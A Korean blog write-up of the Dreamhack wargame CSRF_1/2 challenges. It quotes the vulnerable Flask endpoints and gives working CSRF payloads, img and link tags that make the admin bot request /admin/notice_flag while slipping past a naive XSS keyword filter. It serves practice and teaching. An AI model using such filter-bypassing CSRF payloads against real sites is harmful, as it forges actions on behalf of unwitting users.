security/웹해킹

[Dreamhack Wargame] CSRF_1/2

민사민서 2023. 6. 28. 20:26
  • CSRF_1
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param
    
@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    # 내부에서 이 경로로 접속을 해야함 (Cross Site Request Forgery)
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    # 접속 시 argument로 userid 주어야함
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"

- 필터 걸려있음  (이벤트리스너 형식, 스크립트 태그 사용불가)

- 서버로 하여금 /admin/notice_flag 로 GET 요청 날리게 해야함 

 

<img src="/admin/notice_flag?userid=admin">
<link rel="stylesheet" href="/admin/notice_flag?userid=admin">

cf) <a href="">는 JS없이 HTML만으로 링크 자동클릭/자동 리다이렉션 구현이 불가능하므로 패스

  • CSFR_2

동일..